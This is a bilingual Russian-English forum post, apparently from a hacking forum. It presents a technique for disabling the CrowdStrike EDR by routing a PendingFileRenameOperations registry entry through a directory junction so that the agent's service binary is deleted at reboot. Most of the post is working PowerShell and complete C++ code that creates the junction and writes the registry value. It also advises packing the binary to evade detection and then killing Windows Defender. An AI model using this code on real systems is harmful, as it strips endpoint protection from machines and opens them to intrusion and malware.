Disabling EDRs by File Rename Junctions (Crowdstrike)

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
666


666

RUS:

Всем привет, надеюсь, у всех будет хороший старт 2025 года, большинство из нас возвращается к работе, другие все еще веселятся и празднуют прошлые успехи :smile10:. Желаю всем всего наилучшего. Надеюсь, мы сможем узнать об этой технике здесь, я недавно нашел ее и пошел тестировать с Crowdstrike. Если вы чувствуете, что знаете ее или использовали ее в прошлом, пожалуйста, учтите, что другие могут не видеть эту технику, и она может помочь им избежать этого известного «программного обеспечения», которое предотвращает вызов демонов в компьютерах.

PendingFileRenameOperations allows applications to create file rename operations by creating a registry entry under the `HKLM\SYSTEM\CurrentControlSet\Control\Session Manager`. Initially I attempted to create this entry, pointing it towards the EDR binary as such in PowerShell, based on the StackOverflow thread.

PendingFileRenameOperations позволяет приложениям создавать операции переименования файлов, создавая запись реестра в папке 'HKLM\SYSTEM\CurrentControlSet\Control\Session Manager'. Первоначально я попытался создать эту запись, указав ей на двоичный файл EDR как таковой в PowerShell, основанный на потоке StackOverflow.

Код: Скопировать в буфер обмена
new-ItemProperty -path "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager" -Name "PendingFileRenameOperations" -Value $($((Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager" -Name PendingFileRenameOperations -ErrorAction SilentlyContinue).PendingFileRenameOperations) + "\??\C:\Program Files\<EDR_PATH>.exe`0`0") -type MultiString -Force | Out-Null

Это работает для AV/EDR без защиты от несанкционированного доступа. Продукты безопасности с защитой от несанкционированного доступа могут использовать [CmRegisterCallbackEx](https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-cmregistercallbackex) для мониторинга и блокировки операций реестра из ядра. Драйвер ядра может блокировать создание ключей реестра, если они ссылаются на свои основные службы.

Используя точку повторного разбора (соединение) - снова респект на sixtyvividtails - мы можем создать соединение из: 'C:\program-files' -> 'C:\Program Files\'

И снова мы можем создать наш 'PendingFileRenameOperations', указав ключ на двоичный файл EDR, проходящий через наше соединение, что большинство EDR не проверяют. Все это, конечно, требует прав администратора. При следующей перезагрузке все основные двоичные файлы EDR будут переименованы в "", в свою очередь будут удалены.



EN:

Hello everyone, I hope everyone is having a good 2025 starting year, most of us are getting back to work, others are still partying and celebrating past successes :smile10:. I wish everyone is good. I hope that we can here can learn about this technique, I found it recently and went to test it with Crowdstrike. If you feel that you know this or have used this in the past, please, consider that others might not seen this technique and this can help them to avoid this famous "software" that avoid demons being invoked in the computers.

PendingFileRenameOperations allows applications to create file rename operations by creating a registry entry under the `HKLM\SYSTEM\CurrentControlSet\Control\Session Manager`. Initially I attempted to create this entry, pointing it towards the EDR binary as such in PowerShell, based on the StackOverflow thread.

Код: Скопировать в буфер обмена
new-ItemProperty -path "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager" -Name "PendingFileRenameOperations" -Value $($((Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager" -Name PendingFileRenameOperations -ErrorAction SilentlyContinue).PendingFileRenameOperations) + "\??\C:\Program Files\<EDR_PATH>.exe`0`0") -type MultiString -Force | Out-Null

This works for AVs/EDRs without anti-tampering. Security products with anti-tampering can use [CmRegisterCallbackEx](https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-cmregistercallbackex) to monitor and block registry operations from the kernel. A kernel driver could block registry keys from being created if they referenced their core services.

Using a reparse point (junction) - kudos again to sixtyvividtails - we can create a junction from: `C:\program-files` -> `C:\Program Files\`

And yet again we can create our `PendingFileRenameOperations`, pointing the key at the EDR binary pathed through our junction, something that most EDRs do not check. All of this of course requires Admin privileges. On the next reboot, any core EDR binaries will be renamed to "", in turn being deleted.

C++: Скопировать в буфер обмена
Код:
#include <windows.h>
#include <winioctl.h>
#include <stdio.h>

typedef struct _REPARSE_DATA_BUFFER
{
    ULONG ReparseTag;
    USHORT ReparseDataLength;
    USHORT Reserved;
    union {
        struct
        {
            USHORT SubstituteNameOffset;
            USHORT SubstituteNameLength;
            USHORT PrintNameOffset;
            USHORT PrintNameLength;
            ULONG Flags;
            WCHAR PathBuffer[1];
        } SymbolicLinkReparseBuffer;
        struct
        {
            USHORT SubstituteNameOffset;
            USHORT SubstituteNameLength;
            USHORT PrintNameOffset;
            USHORT PrintNameLength;
            WCHAR PathBuffer[1];
        } MountPointReparseBuffer;
        struct
        {
            UCHAR DataBuffer[1];
        } GenericReparseBuffer;
    } DUMMYUNIONNAME;
} REPARSE_DATA_BUFFER, * PREPARSE_DATA_BUFFER;

#define REPARSE_DATA_BUFFER_HEADER_LENGTH FIELD_OFFSET(REPARSE_DATA_BUFFER, GenericReparseBuffer.DataBuffer)

BOOL create_junction(LPCWSTR junction_dir, LPCWSTR target_dir) {
    HANDLE file = CreateFileW(junction_dir, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
        NULL, OPEN_EXISTING, FILE_FLAG_OPEN_REPARSE_POINT | FILE_FLAG_BACKUP_SEMANTICS, NULL);
    if (file == INVALID_HANDLE_VALUE)
        return FALSE;

    WCHAR substitute_name[MAX_PATH], print_name[MAX_PATH];
    swprintf_s(substitute_name, MAX_PATH, L"\\??\\%s", target_dir);
    wcscpy_s(print_name, MAX_PATH, target_dir);

    USHORT substitute_name_len = (USHORT)(wcslen(substitute_name) * sizeof(WCHAR));
    USHORT print_name_len = (USHORT)(wcslen(print_name) * sizeof(WCHAR));
    USHORT reparse_data_size = (USHORT)(FIELD_OFFSET(REPARSE_DATA_BUFFER, MountPointReparseBuffer.PathBuffer)
        + substitute_name_len + sizeof(WCHAR) + print_name_len + sizeof(WCHAR));

    PREPARSE_DATA_BUFFER buf = (PREPARSE_DATA_BUFFER)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, reparse_data_size);
    if (!buf) {
        CloseHandle(file);
        return FALSE;
    }

    buf->ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;
    buf->ReparseDataLength = (USHORT)(reparse_data_size - REPARSE_DATA_BUFFER_HEADER_LENGTH);
    buf->MountPointReparseBuffer.SubstituteNameOffset = 0;
    buf->MountPointReparseBuffer.SubstituteNameLength = substitute_name_len;
    buf->MountPointReparseBuffer.PrintNameOffset = substitute_name_len + sizeof(WCHAR);
    buf->MountPointReparseBuffer.PrintNameLength = print_name_len;

    memcpy(buf->MountPointReparseBuffer.PathBuffer, substitute_name, substitute_name_len);
    buf->MountPointReparseBuffer.PathBuffer[substitute_name_len / sizeof(WCHAR)] = L'\0';
    memcpy((PBYTE)buf->MountPointReparseBuffer.PathBuffer + substitute_name_len + sizeof(WCHAR), print_name, print_name_len);
    buf->MountPointReparseBuffer.PathBuffer[(substitute_name_len + sizeof(WCHAR) + print_name_len) / sizeof(WCHAR)] = L'\0';

    BOOL success = DeviceIoControl(file, FSCTL_SET_REPARSE_POINT, buf, reparse_data_size, NULL, 0, NULL, NULL);

    HeapFree(GetProcessHeap(), 0, buf);
    CloseHandle(file);
 
    return success;
}

BOOL setup_junction() {
    LPCWSTR junction_dir = L"C:\\Program-Files";
    LPCWSTR target_dir = L"C:\\Program Files";

    if (!CreateDirectoryW(junction_dir, NULL) && GetLastError() != ERROR_ALREADY_EXISTS)
        return FALSE;

    return create_junction(junction_dir, target_dir);
}

BOOL set_registry_value(LPCWSTR sub_key, LPCWSTR reg_key, const WCHAR* const* values) {
    HKEY key;
    LONG result = RegOpenKeyExW(HKEY_LOCAL_MACHINE, sub_key, 0, KEY_SET_VALUE, &key);
    if (result != ERROR_SUCCESS) {
        return FALSE;
    }

    size_t total_len = 0;
    for (const WCHAR* const* p = values; *p != NULL; p++) {
        total_len += wcslen(*p) + 1;
    }
    total_len += 1;

    WCHAR* multi_sz_val = (WCHAR*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, total_len * sizeof(WCHAR));
    if (!multi_sz_val) {
        RegCloseKey(key);
        return FALSE;
    }

    WCHAR* ptr = multi_sz_val;
    for (const WCHAR* const* p = values; *p != NULL; p++) {
        size_t len = wcslen(*p);
        memcpy(ptr, *p, len * sizeof(WCHAR));
        ptr += len;
        *ptr++ = L'\0';
    }
    *ptr = L'\0';

    result = RegSetValueExW(key, reg_key, 0, REG_MULTI_SZ, (BYTE*)multi_sz_val, (DWORD)(total_len * sizeof(WCHAR)));

    HeapFree(GetProcessHeap(), 0, multi_sz_val);
    RegCloseKey(key);

    return result == ERROR_SUCCESS;
}

int main() {
    if (!setup_junction()) {
        return FALSE;
    }
    wprintf(L"Junction created successfully.\n");

    LPCWSTR sub_key = L"SYSTEM\\CurrentControlSet\\Control\\Session Manager";
    const WCHAR* ops[] = {
        L"\\??\\C:\\program-files\\CrowdStrike\\CSFalconService.exe",
        L"",
        L"",
        NULL
    };

    if (!set_registry_value(sub_key, L"PendingFileRenameOperations", ops)) {
        return 2;
    }
    wprintf(L"PendingFileRenameOperations set successfully.\n");
 
    return 0;
}


ПРИМЕЧАНИЯ:

- Скомпилированный двоичный файл необходимо упаковать, он будет статически обнаружен Crowdstrike, вы можете изменить исходный код или использовать для этого наиболее предпочтительный инструмент.
- После этого вам нужно будет отключить Защитник Windows или антивирус, установленный на машине. EDR и антивирусы работают вместе довольно хорошо, это разное программное обеспечение, поэтому их можно комбинировать.

NOTES:

- The compiled binary need to be packed, it will be static detected by Crowdstrike, you can change source code or use your most prefered tool for that.
- After doing it, you will need to kill Windows Defender or the AV that is installed on the machine. EDRs and AVs works pretty well together, they are different software so they can be combined.

password: xss.is

SOURCE

View hidden content is available for registered users!
 
Сверху Снизу